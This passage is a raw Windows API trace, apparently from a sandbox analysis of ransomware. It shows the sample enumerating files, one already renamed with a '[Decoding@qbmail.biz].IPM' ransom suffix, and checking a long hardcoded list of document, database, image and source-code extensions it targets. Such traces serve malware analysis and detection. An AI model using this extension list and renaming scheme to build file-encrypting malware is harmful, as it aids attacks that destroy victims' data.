nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.277] FindNextFileW (in: hFindFile=0x62b3d8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4c8e4cd0, ftCreationTime.dwHighDateTime=0x1d5fa0e, ftLastAccessTime.dwLowDateTime=0x4c8e4cd0, ftLastAccessTime.dwHighDateTime=0x1d5fa0e, ftLastWriteTime.dwLowDateTime=0x4c97d250, ftLastWriteTime.dwHighDateTime=0x1d5fa0e, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[Decoding@qbmail.biz].IPM", cAlternateFileName="DESKTO~1.IPM")) returned 1 [0069.277] lstrlenW (lpString="desktop.ini.id-9C354B42.[Decoding@qbmail.biz].IPM") returned 49 [0069.277] lstrlenW (lpString=".1cd") returned 4 [0069.277] lstrcmpiW (lpString1=".1cd", lpString2=".IPM") returned -1 [0069.277] lstrlenW (lpString=".3ds") returned 4 [0069.277] lstrcmpiW (lpString1=".3ds", lpString2=".IPM") returned -1 [0069.277] lstrlenW (lpString=".3fr") returned 4 [0069.277] lstrcmpiW (lpString1=".3fr", lpString2=".IPM") returned -1 [0069.277] lstrlenW (lpString=".3g2") returned 4 [0069.277] lstrcmpiW (lpString1=".3g2", lpString2=".IPM") returned -1 [0069.277] lstrlenW (lpString=".3gp") returned 4 [0069.277] lstrcmpiW (lpString1=".3gp", lpString2=".IPM") returned -1 [0069.278] lstrlenW (lpString=".7z") returned 3 [0069.278] lstrcmpiW (lpString1=".7z", lpString2="IPM") returned -1 [0069.278] lstrlenW (lpString=".accda") returned 6 [0069.278] lstrcmpiW (lpString1=".accda", lpString2="z].IPM") returned -1 [0069.278] lstrlenW (lpString=".accdb") returned 6 [0069.278] lstrcmpiW (lpString1=".accdb", lpString2="z].IPM") returned -1 [0069.278] lstrlenW (lpString=".accdc") returned 6 [0069.278] lstrcmpiW (lpString1=".accdc", lpString2="z].IPM") returned -1 [0069.278] lstrlenW (lpString=".accde") returned 6 [0069.278] lstrcmpiW (lpString1=".accde", lpString2="z].IPM") returned -1 [0069.278] lstrlenW (lpString=".accdt") returned 6 [0069.278] lstrcmpiW (lpString1=".accdt", lpString2="z].IPM") returned -1 [0069.278] lstrlenW (lpString=".accdw") returned 6 [0069.278] lstrcmpiW (lpString1=".accdw", lpString2="z].IPM") returned -1 [0069.278] lstrlenW (lpString=".adb") returned 4 [0069.278] lstrcmpiW (lpString1=".adb", lpString2=".IPM") returned -1 [0069.278] lstrlenW (lpString=".adp") returned 4 [0069.278] lstrcmpiW (lpString1=".adp", lpString2=".IPM") returned -1 [0069.278] lstrlenW (lpString=".ai") returned 3 [0069.278] lstrcmpiW (lpString1=".ai", lpString2="IPM") returned -1 [0069.279] lstrlenW (lpString=".ai3") returned 4 [0069.279] lstrcmpiW (lpString1=".ai3", lpString2=".IPM") returned -1 [0069.279] lstrlenW (lpString=".ai4") returned 4 [0069.279] lstrcmpiW (lpString1=".ai4", lpString2=".IPM") returned -1 [0069.279] lstrlenW (lpString=".ai5") returned 4 [0069.279] lstrcmpiW (lpString1=".ai5", lpString2=".IPM") returned -1 [0069.279] lstrlenW (lpString=".ai6") returned 4 [0069.279] lstrcmpiW (lpString1=".ai6", lpString2=".IPM") returned -1 [0069.280] lstrlenW (lpString=".ai7") returned 4 [0069.280] lstrcmpiW (lpString1=".ai7", lpString2=".IPM") returned -1 [0069.280] lstrlenW (lpString=".ai8") returned 4 [0069.280] lstrcmpiW (lpString1=".ai8", lpString2=".IPM") returned -1 [0069.280] lstrlenW (lpString=".anim") returned 5 [0069.280] lstrcmpiW (lpString1=".anim", lpString2="].IPM") returned -1 [0069.280] lstrlenW (lpString=".arw") returned 4 [0069.280] lstrcmpiW (lpString1=".arw", lpString2=".IPM") returned -1 [0069.280] lstrlenW (lpString=".as") returned 3 [0069.280] lstrcmpiW (lpString1=".as", lpString2="IPM") returned -1 [0069.280] lstrlenW (lpString=".asa") returned 4 [0069.280] lstrcmpiW (lpString1=".asa", lpString2=".IPM") returned -1 [0069.280] lstrlenW (lpString=".asc") returned 4 [0069.280] lstrcmpiW (lpString1=".asc", lpString2=".IPM") returned -1 [0069.280] lstrlenW (lpString=".ascx") returned 5 [0069.280] lstrcmpiW (lpString1=".ascx", lpString2="].IPM") returned -1 [0069.280] lstrlenW (lpString=".asm") returned 4 [0069.280] lstrcmpiW (lpString1=".asm", lpString2=".IPM") returned -1 [0069.281] lstrlenW (lpString=".asmx") returned 5 [0069.281] lstrcmpiW (lpString1=".asmx", lpString2="].IPM") returned -1 [0069.281] lstrlenW (lpString=".asp") returned 4 [0069.281] lstrcmpiW (lpString1=".asp", lpString2=".IPM") returned -1 [0069.281] lstrlenW (lpString=".aspx") returned 5 [0069.281] lstrcmpiW (lpString1=".aspx", lpString2="].IPM") returned -1 [0069.281] lstrlenW (lpString=".asr") returned 4 [0069.281] lstrcmpiW (lpString1=".asr", lpString2=".IPM") returned -1 [0069.281] lstrlenW (lpString=".asx") returned 4 [0069.281] lstrcmpiW (lpString1=".asx", lpString2=".IPM") returned -1 [0069.281] lstrlenW (lpString=".avi") returned 4 [0069.281] lstrcmpiW (lpString1=".avi", lpString2=".IPM") returned -1 [0069.281] lstrlenW (lpString=".avs") returned 4 [0069.281] lstrcmpiW (lpString1=".avs", lpString2=".IPM") returned -1 [0069.281] lstrlenW (lpString=".backup") returned 7 [0069.281] lstrcmpiW (lpString1=".backup", lpString2="iz].IPM") returned -1 [0069.281] lstrlenW (lpString=".bak") returned 4 [0069.281] lstrcmpiW (lpString1=".bak", lpString2=".IPM") returned -1 [0069.282] lstrlenW (lpString=".bay") returned 4 [0069.282] lstrcmpiW (lpString1=".bay", lpString2=".IPM") returned -1 [0069.282] lstrlenW (lpString=".bd") returned 3 [0069.282] lstrcmpiW (lpString1=".bd", lpString2="IPM") returned -1 [0069.282] lstrlenW (lpString=".bin") returned 4 [0069.282] lstrcmpiW (lpString1=".bin", lpString2=".IPM") returned -1 [0069.282] lstrlenW (lpString=".bmp") returned 4 [0069.282] lstrcmpiW (lpString1=".bmp", lpString2=".IPM") returned -1 [0069.282] lstrlenW (lpString=".bz2") returned 4 [0069.282] lstrcmpiW (lpString1=".bz2", lpString2=".IPM") returned -1 [0069.282] lstrlenW (lpString=".c") returned 2 [0069.282] lstrcmpiW (lpString1=".c", lpString2="PM") returned -1 [0069.282] lstrlenW (lpString=".cdr") returned 4 [0069.282] lstrcmpiW (lpString1=".cdr", lpString2=".IPM") returned -1 [0069.282] lstrlenW (lpString=".cer") returned 4 [0069.282] lstrcmpiW (lpString1=".cer", lpString2=".IPM") returned -1 [0069.282] lstrlenW (lpString=".cf") returned 3 [0069.282] lstrcmpiW (lpString1=".cf", lpString2="IPM") returned -1 [0069.282] lstrlenW (lpString=".cfc") returned 4 [0069.282] lstrcmpiW (lpString1=".cfc", lpString2=".IPM") returned -1 [0069.283] lstrlenW (lpString=".cfm") returned 4 [0069.283] lstrcmpiW (lpString1=".cfm", lpString2=".IPM") returned -1 [0069.283] lstrlenW (lpString=".cfml") returned 5 [0069.283] lstrcmpiW (lpString1=".cfml", lpString2="].IPM") returned -1 [0069.283] lstrlenW (lpString=".cfu") returned 4 [0069.283] lstrcmpiW (lpString1=".cfu", lpString2=".IPM") returned -1 [0069.283] lstrlenW (lpString=".chm") returned 4 [0069.283] lstrcmpiW (lpString1=".chm", lpString2=".IPM") returned -1 [0069.283] lstrlenW (lpString=".cin") returned 4 [0069.283] lstrcmpiW (lpString1=".cin", lpString2=".IPM") returned -1 [0069.283] lstrlenW (lpString=".class") returned 6 [0069.283] lstrcmpiW (lpString1=".class", lpString2="z].IPM") returned -1 [0069.283] lstrlenW (lpString=".clx") returned 4 [0069.283] lstrcmpiW (lpString1=".clx", lpString2=".IPM") returned -1 [0069.283] lstrlenW (lpString=".config") returned 7 [0069.283] lstrcmpiW (lpString1=".config", lpString2="iz].IPM") returned -1 [0069.283] lstrlenW (lpString=".cpp") returned 4 [0069.283] lstrcmpiW (lpString1=".cpp", lpString2=".IPM") returned -1 [0069.283] lstrlenW (lpString=".cr2") returned 4 [0069.284] lstrcmpiW (lpString1=".cr2", lpString2=".IPM") returned -1 [0069.284] lstrlenW (lpString=".crt") returned 4 [0069.284] lstrcmpiW (lpString1=".crt", lpString2=".IPM") returned -1 [0069.284] lstrlenW (lpString=".crw") returned 4 [0069.284] lstrcmpiW (lpString1=".crw", lpString2=".IPM") returned -1 [0069.284] lstrlenW (lpString=".cs") returned 3 [0069.284] lstrcmpiW (lpString1=".cs", lpString2="IPM") returned -1 [0069.284] lstrlenW (lpString=".css") returned 4 [0069.284] lstrcmpiW (lpString1=".css", lpString2=".IPM") returned -1 [0069.284] lstrlenW (lpString=".csv") returned 4 [0069.284] lstrcmpiW (lpString1=".csv", lpString2=".IPM") returned -1 [0069.284] lstrlenW (lpString=".cub") returned 4 [0069.284] lstrcmpiW (lpString1=".cub", lpString2=".IPM") returned -1 [0069.284] lstrlenW (lpString=".dae") returned 4 [0069.284] lstrcmpiW (lpString1=".dae", lpString2=".IPM") returned -1 [0069.284] lstrlenW (lpString=".dat") returned 4 [0069.284] lstrcmpiW (lpString1=".dat", lpString2=".IPM") returned -1 [0069.285] lstrlenW (lpString=".db") returned 3 [0069.285] lstrcmpiW (lpString1=".db", lpString2="IPM") returned -1 [0069.285] lstrlenW (lpString=".dbf") returned 4 [0069.285] lstrcmpiW (lpString1=".dbf", lpString2=".IPM") returned -1 [0069.285] lstrlenW (lpString=".dbx") returned 4 [0069.285] lstrcmpiW (lpString1=".dbx", lpString2=".IPM") returned -1 [0069.285] lstrlenW (lpString=".dc3") returned 4 [0069.285] lstrcmpiW (lpString1=".dc3", lpString2=".IPM") returned -1 [0069.285] lstrlenW (lpString=".dcm") returned 4 [0069.285] lstrcmpiW (lpString1=".dcm", lpString2=".IPM") returned -1 [0069.285] lstrlenW (lpString=".dcr") returned 4 [0069.285] lstrcmpiW (lpString1=".dcr", lpString2=".IPM") returned -1 [0069.285] lstrlenW (lpString=".der") returned 4 [0069.285] lstrcmpiW (lpString1=".der", lpString2=".IPM") returned -1 [0069.285] lstrlenW (lpString=".dib") returned 4 [0069.285] lstrcmpiW (lpString1=".dib", lpString2=".IPM") returned -1 [0069.285] lstrlenW (lpString=".dic") returned 4 [0069.285] lstrcmpiW (lpString1=".dic", lpString2=".IPM") returned -1 [0069.286] lstrlenW (lpString=".dif") returned 4 [0069.286] lstrcmpiW (lpString1=".dif", lpString2=".IPM") returned -1 [0069.286] lstrlenW (lpString=".divx") returned 5 [0069.286] lstrcmpiW (lpString1=".divx", lpString2="].IPM") returned -1 [0069.286] lstrlenW (lpString=".djvu") returned 5 [0069.286] lstrcmpiW (lpString1=".djvu", lpString2="].IPM") returned -1 [0069.286] lstrlenW (lpString=".dng") returned 4 [0069.286] lstrcmpiW (lpString1=".dng", lpString2=".IPM") returned -1 [0069.286] lstrlenW (lpString=".doc") returned 4 [0069.286] lstrcmpiW (lpString1=".doc", lpString2=".IPM") returned -1 [0069.286] lstrlenW (lpString=".docm") returned 5 [0069.286] lstrcmpiW (lpString1=".docm", lpString2="].IPM") returned -1 [0069.286] lstrlenW (lpString=".docx") returned 5 [0069.286] lstrcmpiW (lpString1=".docx", lpString2="].IPM") returned -1 [0069.286] lstrlenW (lpString=".dot") returned 4 [0069.286] lstrcmpiW (lpString1=".dot", lpString2=".IPM") returned -1 [0069.286] lstrlenW (lpString=".dotm") returned 5 [0069.286] lstrcmpiW (lpString1=".dotm", lpString2="].IPM") returned -1 [0069.286] lstrlenW (lpString=".dotx") returned 5 [0069.287] lstrcmpiW (lpString1=".dotx", lpString2="].IPM") returned -1 [0069.287] lstrlenW (lpString=".dpx") returned 4 [0069.287] lstrcmpiW (lpString1=".dpx", lpString2=".IPM") returned -1 [0069.287] lstrlenW (lpString=".dqy") returned 4 [0069.287] lstrcmpiW (lpString1=".dqy", lpString2=".IPM") returned -1 [0069.287] lstrlenW (lpString=".dsn") returned 4 [0069.287] lstrcmpiW (lpString1=".dsn", lpString2=".IPM") returned -1 [0069.287] lstrlenW (lpString=".dt") returned 3 [0069.287] lstrcmpiW (lpString1=".dt", lpString2="IPM") returned -1 [0069.287] lstrlenW (lpString=".dtd") returned 4 [0069.287] lstrcmpiW (lpString1=".dtd", lpString2=".IPM") returned -1 [0069.287] lstrlenW (lpString=".dwg") returned 4 [0069.287] lstrcmpiW (lpString1=".dwg", lpString2=".IPM") returned -1 [0069.287] lstrlenW (lpString=".dwt") returned 4 [0069.287] lstrcmpiW (lpString1=".dwt", lpString2=".IPM") returned -1 [0069.287] lstrlenW (lpString=".dx") returned 3 [0069.287] lstrcmpiW (lpString1=".dx", lpString2="IPM") returned -1 [0069.287] lstrlenW (lpString=".dxf") returned 4 [0069.288] lstrcmpiW (lpString1=".dxf", lpString2=".IPM") returned -1 [0069.288] lstrlenW (lpString=".edml") returned 5 [0069.288] lstrcmpiW (lpString1=".edml", lpString2="].IPM") returned -1 [0069.288] lstrlenW (lpString=".efd") returned 4 [0069.288] lstrcmpiW (lpString1=".efd", lpString2=".IPM") returned -1 [0069.288] lstrlenW (lpString=".elf") returned 4 [0069.288] lstrcmpiW (lpString1=".elf", lpString2=".IPM") returned -1 [0069.288] lstrlenW (lpString=".emf") returned 4 [0069.288] lstrcmpiW (lpString1=".emf", lpString2=".IPM") returned -1 [0069.288] lstrlenW (lpString=".emz") returned 4 [0069.288] lstrcmpiW (lpString1=".emz", lpString2=".IPM") returned -1 [0069.288] lstrlenW (lpString=".epf") returned 4 [0069.288] lstrcmpiW (lpString1=".epf", lpString2=".IPM") returned -1 [0069.288] lstrlenW (lpString=".eps") returned 4 [0069.288] lstrcmpiW (lpString1=".eps", lpString2=".IPM") returned -1 [0069.288] lstrlenW (lpString=".epsf") returned 5 [0069.288] lstrcmpiW (lpString1=".epsf", lpString2="].IPM") returned -1 [0069.288] lstrlenW (lpString=".epsp") returned 5 [0069.288] lstrcmpiW (lpString1=".epsp", lpString2="].IPM") returned -1 [0069.288] lstrlenW (lpString=".erf") returned 4 [0069.289] lstrcmpiW (lpString1=".erf", lpString2=".IPM") returned -1 [0069.289] lstrlenW (lpString=".exr") returned 4 [0069.289] lstrcmpiW (lpString1=".exr", lpString2=".IPM") returned -1 [0069.289] lstrlenW (lpString=".f4v") returned 4 [0069.289] lstrcmpiW (lpString1=".f4v", lpString2=".IPM") returned -1 [0069.289] lstrlenW (lpString=".fido") returned 5 [0069.289] lstrcmpiW (lpString1=".fido", lpString2="].IPM") returned -1 [0069.289] lstrlenW (lpString=".flm") returned 4 [0069.289] lstrcmpiW (lpString1=".flm", lpString2=".IPM") returned -1 [0069.289] lstrlenW (lpString=".flv") returned 4 [0069.289] lstrcmpiW (lpString1=".flv", lpString2=".IPM") returned -1 [0069.289] lstrlenW (lpString=".frm") returned 4 [0069.289] lstrcmpiW (lpString1=".frm", lpString2=".IPM") returned -1 [0069.289] lstrlenW (lpString=".fxg") returned 4 [0069.289] lstrcmpiW (lpString1=".fxg", lpString2=".IPM") returned -1 [0069.289] lstrlenW (lpString=".geo") returned 4 [0069.289] lstrcmpiW (lpString1=".geo", lpString2=".IPM") returned -1 [0069.289] lstrlenW (lpString=".gif") returned 4 [0069.289] lstrcmpiW (lpString1=".gif", lpString2=".IPM") returned -1 [0069.290] lstrlenW (lpString=".grs") returned 4 [0069.290] lstrcmpiW (lpString1=".grs", lpString2=".IPM") returned -1 [0069.290] lstrlenW (lpString=".gz") returned 3 [0069.290] lstrcmpiW (lpString1=".gz", lpString2="IPM") returned -1 [0069.290] lstrlenW (lpString=".h") returned 2 [0069.290] lstrcmpiW (lpString1=".h", lpString2="PM") returned -1 [0069.290] lstrlenW (lpString=".hdr") returned 4 [0069.290] lstrcmpiW (lpString1=".hdr", lpString2=".IPM") returned -1 [0069.290] lstrlenW (lpString=".hpp") returned 4 [0069.290] lstrcmpiW (lpString1=".hpp", lpString2=".IPM") returned -1 [0069.290] lstrlenW (lpString=".hta") returned 4 [0069.290] lstrcmpiW (lpString1=".hta", lpString2=".IPM") returned -1 [0069.290] lstrlenW (lpString=".htc") returned 4 [0069.290] lstrcmpiW (lpString1=".htc", lpString2=".IPM") returned -1 [0069.290] lstrlenW (lpString=".htm") returned 4 [0069.290] lstrcmpiW (lpString1=".htm", lpString2=".IPM") returned -1 [0069.290] lstrlenW (lpString=".html") returned 5 [0069.290] lstrcmpiW (lpString1=".html", lpString2="].IPM") returned -1 [0069.291] lstrlenW (lpString=".icb") returned 4 [0069.291] lstrcmpiW (lpString1=".icb", lpString2=".IPM") returned -1 [0069.291] lstrlenW (lpString=".ics") returned 4 [0069.291] lstrcmpiW (lpString1=".ics", lpString2=".IPM") returned -1 [0069.291] lstrlenW (lpString=".iff") returned 4 [0069.291] lstrcmpiW (lpString1=".iff", lpString2=".IPM") returned -1 [0069.291] lstrlenW (lpString=".inc") returned 4 [0069.291] lstrcmpiW (lpString1=".inc", lpString2=".IPM") returned -1 [0069.291] lstrlenW (lpString=".indd") returned 5 [0069.291] lstrcmpiW (lpString1=".indd", lpString2="].IPM") returned -1 [0069.291] lstrlenW (lpString=".ini") returned 4 [0069.291] lstrcmpiW (lpString1=".ini", lpString2=".IPM") returned -1 [0069.291] lstrlenW (lpString=".iqy") returned 4 [0069.291] lstrcmpiW (lpString1=".iqy", lpString2=".IPM") returned 1 [0069.291] lstrlenW (lpString=".j2c") returned 4 [0069.291] lstrcmpiW (lpString1=".j2c", lpString2=".IPM") returned 1 [0069.291] lstrlenW (lpString=".j2k") returned 4 [0069.291] lstrcmpiW (lpString1=".j2k", lpString2=".IPM") returned 1 [0069.291] lstrlenW (lpString=".java") returned 5 [0069.291] lstrcmpiW (lpString1=".java", lpString2="].IPM") returned -1 [0069.292] lstrlenW (lpString=".jp2") returned 4 [0069.292] lstrcmpiW (lpString1=".jp2", lpString2=".IPM") returned 1 [0069.292] lstrlenW (lpString=".jpc") returned 4 [0069.292] lstrcmpiW (lpString1=".jpc", lpString2=".IPM") returned 1 [0069.292] lstrlenW (lpString=".jpe") returned 4 [0069.292] lstrcmpiW (lpString1=".jpe", lpString2=".IPM") returned 1 [0069.292] lstrlenW (lpString=".jpeg") returned 5 [0069.292] lstrcmpiW (lpString1=".jpeg", lpString2="].IPM") returned -1 [0069.292] lstrlenW (lpString=".jpf") returned 4 [0069.292] lstrcmpiW (lpString1=".jpf", lpString2=".IPM") returned 1 [0069.292] lstrlenW (lpString=".jpg") returned 4 [0069.292] lstrcmpiW (lpString1=".jpg", lpString2=".IPM") returned 1 [0069.292] lstrlenW (lpString=".jpx") returned 4 [0069.292] lstrcmpiW (lpString1=".jpx", lpString2=".IPM") returned 1 [0069.292] lstrlenW (lpString=".js") returned 3 [0069.292] lstrcmpiW (lpString1=".js", lpString2="IPM") returned -1 [0069.292] lstrlenW (lpString=".jsf") returned 4 [0069.292] lstrcmpiW (lpString1=".jsf", lpString2=".IPM") returned 1 [0069.293] lstrlenW (lpString=".json") returned 5 [0069.293] lstrcmpiW (lpString1=".json", lpString2="].IPM") returned -1 [0069.293] lstrlenW (lpString=".jsp") returned 4 [0069.293] lstrcmpiW (lpString1=".jsp", lpString2=".IPM") returned 1 [0069.293] lstrlenW (lpString=".kdc") returned 4 [0069.293] lstrcmpiW (lpString1=".kdc", lpString2=".IPM") returned 1 [0069.293] lstrlenW (lpString=".kmz") returned 4 [0069.293] lstrcmpiW (lpString1=".kmz", lpString2=".IPM") returned 1 [0069.293] lstrlenW (lpString=".kwm") returned 4 [0069.293] lstrcmpiW (lpString1=".kwm", lpString2=".IPM") returned 1 [0069.293] lstrlenW (lpString=".lasso") returned 6 [0069.293] lstrcmpiW (lpString1=".lasso", lpString2="z].IPM") returned -1 [0069.293] lstrlenW (lpString=".lbi") returned 4 [0069.293] lstrcmpiW (lpString1=".lbi", lpString2=".IPM") returned 1 [0069.293] lstrlenW (lpString=".lgf") returned 4 [0069.293] lstrcmpiW (lpString1=".lgf", lpString2=".IPM") returned 1 [0069.293] lstrlenW (lpString=".lgp") returned 4 [0069.294] lstrcmpiW (lpString1=".lgp", lpString2=".IPM") returned 1 [0069.294] lstrlenW (lpString=".log") returned 4 [0069.294] lstrcmpiW (lpString1=".log", lpString2=".IPM") returned 1 [0069.294] lstrlenW (lpString=".m1v") returned 4 [0069.294] lstrcmpiW (lpString1=".m1v", lpString2=".IPM") returned 1 [0069.294] lstrlenW (lpString=".m4a") returned 4 [0069.294] lstrcmpiW (lpString1=".m4a", lpString2=".IPM") returned 1 [0069.294] lstrlenW (lpString=".m4v") returned 4 [0069.294] lstrcmpiW (lpString1=".m4v", lpString2=".IPM") returned 1 [0069.294] lstrlenW (lpString=".max") returned 4 [0069.294] lstrcmpiW (lpString1=".max", lpString2=".IPM") returned 1 [0069.294] lstrlenW (lpString=".md") returned 3 [0069.294] lstrcmpiW (lpString1=".md", lpString2="IPM") returned -1 [0069.294] lstrlenW (lpString=".mda") returned 4 [0069.299] lstrcmpiW (lpString1=".mda", lpString2=".IPM") returned 1 [0069.300] lstrlenW (lpString=".mdb") returned 4 [0069.300] lstrcmpiW (lpString1=".mdb", lpString2=".IPM") returned 1 [0069.300] lstrlenW (lpString=".mde") returned 4 [0069.300] lstrcmpiW (lpString1=".mde", lpString2=".IPM") returned 1 [0069.300] lstrlenW (lpString=".mdf") returned 4 [0069.300] lstrcmpiW (lpString1=".mdf", lpString2=".IPM") returned 1 [0069.300] lstrlenW (lpString=".mdw") returned 4 [0069.300] lstrcmpiW (lpString1=".mdw", lpString2=".IPM") returned 1 [0069.300] lstrlenW (lpString=".mef") returned 4 [0069.300] lstrcmpiW (lpString1=".mef", lpString2=".IPM") returned 1 [0069.300] lstrlenW (lpString=".mft") returned 4 [0069.300] lstrcmpiW (lpString1=".mft", lpString2=".IPM") returned 1 [0069.300] lstrlenW (lpString=".mfw") returned 4 [0069.300] lstrcmpiW (lpString1=".mfw", lpString2=".IPM") returned 1 [0069.300] lstrlenW (lpString=".mht") returned 4 [0069.300] lstrcmpiW (lpString1=".mht", lpString2=".IPM") returned 1 [0069.300] lstrlenW (lpString=".mhtml") returned 6 [0069.301] lstrcmpiW (lpString1=".mhtml", lpString2="z].IPM") returned -1 [0069.301] lstrlenW (lpString=".mka") returned 4 [0069.301] lstrcmpiW (lpString1=".mka", lpString2=".IPM") returned 1 [0069.301] lstrlenW (lpString=".mkidx") returned 6 [0069.301] lstrcmpiW (lpString1=".mkidx", lpString2="z].IPM") returned -1 [0069.301] lstrlenW (lpString=".mkv") returned 4 [0069.301] lstrcmpiW (lpString1=".mkv", lpString2=".IPM") returned 1 [0069.301] lstrlenW (lpString=".mos") returned 4 [0069.301] lstrcmpiW (lpString1=".mos", lpString2=".IPM") returned 1 [0069.301] lstrlenW (lpString=".mov") returned 4 [0069.301] lstrcmpiW (lpString1=".mov", lpString2=".IPM") returned 1 [0069.301] lstrlenW (lpString=".mp3") returned 4 [0069.301] lstrcmpiW (lpString1=".mp3", lpString2=".IPM") returned 1 [0069.301] lstrlenW (lpString=".mp4") returned 4 [0069.301] lstrcmpiW (lpString1=".mp4", lpString2=".IPM") returned 1 [0069.301] lstrlenW (lpString=".mpeg") returned 5 [0069.301] lstrcmpiW (lpString1=".mpeg", lpString2="].IPM") returned -1 [0069.301] lstrlenW (lpString=".mpg") returned 4 [0069.302] lstrcmpiW (lpString1=".mpg", lpString2=".IPM") returned 1 [0069.302] lstrlenW (lpString=".mpv") returned 4 [0069.302] lstrcmpiW (lpString1=".mpv", lpString2=".IPM") returned 1 [0069.302] lstrlenW (lpString=".mrw") returned 4 [0069.302] lstrcmpiW (lpString1=".mrw", lpString2=".IPM") returned 1 [0069.302] lstrlenW (lpString=".msg") returned 4 [0069.302] lstrcmpiW (lpString1=".msg", lpString2=".IPM") returned 1 [0069.302] lstrlenW (lpString=".mxl") returned 4 [0069.302] lstrcmpiW (lpString1=".mxl", lpString2=".IPM") returned 1 [0069.302] lstrlenW (lpString=".myd") returned 4 [0069.302] lstrcmpiW (lpString1=".myd", lpString2=".IPM") returned 1 [0069.302] lstrlenW (lpString=".myi") returned 4 [0069.302] lstrcmpiW (lpString1=".myi", lpString2=".IPM") returned 1 [0069.302] lstrlenW (lpString=".nef") returned 4 [0069.302] lstrcmpiW (lpString1=".nef", lpString2=".IPM") returned 1 [0069.302] lstrlenW (lpString=".nrw") returned 4 [0069.302] lstrcmpiW (lpString1=".nrw", lpString2=".IPM") returned 1 [0069.302] lstrlenW (lpString=".obj") returned 4 [0069.303] lstrcmpiW (lpString1=".obj", lpString2=".IPM") returned 1 [0069.303] lstrlenW (lpString=".odb") returned 4 [0069.303] lstrcmpiW (lpString1=".odb", lpString2=".IPM") returned 1 [0069.303] lstrlenW (lpString=".odc") returned 4 [0069.303] lstrcmpiW (lpString1=".odc", lpString2=".IPM") returned 1 [0069.303] lstrlenW (lpString=".odm") returned 4 [0069.303] lstrcmpiW (lpString1=".odm", lpString2=".IPM") returned 1 [0069.303] lstrlenW (lpString=".odp") returned 4 [0069.303] lstrcmpiW (lpString1=".odp", lpString2=".IPM") returned 1 [0069.303] lstrlenW (lpString=".ods") returned 4 [0069.303] lstrcmpiW (lpString1=".ods", lpString2=".IPM") returned 1 [0069.303] lstrlenW (lpString=".oft") returned 4 [0069.303] lstrcmpiW (lpString1=".oft", lpString2=".IPM") returned 1 [0069.303] lstrlenW (lpString=".one") returned 4 [0069.303] lstrcmpiW (lpString1=".one", lpString2=".IPM") returned 1 [0069.303] lstrlenW (lpString=".onepkg") returned 7 [0069.304] lstrcmpiW (lpString1=".onepkg", lpString2="iz].IPM") returned -1 [0069.304] lstrlenW (lpString=".onetoc2") returned 8 [0069.304] lstrcmpiW (lpString1=".onetoc2", lpString2="biz].IPM") returned -1 [0069.304] lstrlenW (lpString=".opt") returned 4 [0069.304] lstrcmpiW (lpString1=".opt", lpString2=".IPM") returned 1 [0069.304] lstrlenW (lpString=".oqy") returned 4 [0069.304] lstrcmpiW (lpString1=".oqy", lpString2=".IPM") returned 1 [0069.304] lstrlenW (lpString=".orf") returned 4 [0069.304] lstrcmpiW (lpString1=".orf", lpString2=".IPM") returned 1 [0069.304] lstrlenW (lpString=".p12") returned 4 [0069.304] lstrcmpiW (lpString1=".p12", lpString2=".IPM") returned 1 [0069.304] lstrlenW (lpString=".p7b") returned 4 [0069.304] lstrcmpiW (lpString1=".p7b", lpString2=".IPM") returned 1 [0069.304] lstrlenW (lpString=".p7c") returned 4 [0069.305] lstrcmpiW (lpString1=".p7c", lpString2=".IPM") returned 1 [0069.305] lstrlenW (lpString=".pam") returned 4 [0069.305] lstrcmpiW (lpString1=".pam", lpString2=".IPM") returned 1 [0069.305] lstrlenW (lpString=".pbm") returned 4 [0069.305] lstrcmpiW (lpString1=".pbm", lpString2=".IPM") returned 1 [0069.305] lstrlenW (lpString=".pct") returned 4 [0069.305] lstrcmpiW (lpString1=".pct", lpString2=".IPM") returned 1 [0069.305] lstrlenW (lpString=".pcx") returned 4 [0069.305] lstrcmpiW (lpString1=".pcx", lpString2=".IPM") returned 1 [0069.305] lstrlenW (lpString=".pdd") returned 4 [0069.305] lstrcmpiW (lpString1=".pdd", lpString2=".IPM") returned 1 [0069.305] lstrlenW (lpString=".pdf") returned 4 [0069.305] lstrcmpiW (lpString1=".pdf", lpString2=".IPM") returned 1 [0069.305] lstrlenW (lpString=".pdp") returned 4 [0069.305] lstrcmpiW (lpString1=".pdp", lpString2=".IPM") returned 1 [0069.305] lstrlenW (lpString=".pef") returned 4 [0069.305] lstrcmpiW (lpString1=".pef", lpString2=".IPM") returned 1 [0069.305] lstrlenW (lpString=".pem") returned 4 [0069.306] lstrcmpiW (lpString1=".pem", lpString2=".IPM") returned 1 [0069.306] lstrlenW (lpString=".pff") returned 4 [0069.306] lstrcmpiW (lpString1=".pff", lpString2=".IPM") returned 1 [0069.306] lstrlenW (lpString=".pfm") returned 4 [0069.306] lstrcmpiW (lpString1=".pfm", lpString2=".IPM") returned 1 [0069.306] lstrlenW (lpString=".pfx") returned 4 [0069.306] lstrcmpiW (lpString1=".pfx", lpString2=".IPM") returned 1 [0069.306] lstrlenW (lpString=".pgm") returned 4 [0069.306] lstrcmpiW (lpString1=".pgm", lpString2=".IPM") returned 1 [0069.306] lstrlenW (lpString=".php") returned 4 [0069.306] lstrcmpiW (lpString1=".php", lpString2=".IPM") returned 1 [0069.306] lstrlenW (lpString=".php3") returned 5 [0069.306] lstrcmpiW (lpString1=".php3", lpString2="].IPM") returned -1 [0069.306] lstrlenW (lpString=".php4") returned 5 [0069.306] lstrcmpiW (lpString1=".php4", lpString2="].IPM") returned -1 [0069.306] lstrlenW (lpString=".php5") returned 5 [0069.306] lstrcmpiW (lpString1=".php5", lpString2="].IPM") returned -1 [0069.306] lstrlenW (lpString=".phtml") returned 6 [0069.307] lstrcmpiW (lpString1=".phtml", lpString2="z].IPM") returned -1 [0069.307] lstrlenW (lpString=".pict") returned 5 [0069.307] lstrcmpiW (lpString1=".pict", lpString2="].IPM") returned -1 [0069.307] lstrlenW (lpString=".pl") returned 3 [0069.307] lstrcmpiW (lpString1=".pl", lpString2="IPM") returned -1 [0069.307] lstrlenW (lpString=".pls") returned 4 [0069.307] lstrcmpiW (lpString1=".pls", lpString2=".IPM") returned 1 [0069.307] lstrlenW (lpString=".pm") returned 3 [0069.307] lstrcmpiW (lpString1=".pm", lpString2="IPM") returned -1 [0069.307] lstrlenW (lpString=".png") returned 4 [0069.307] 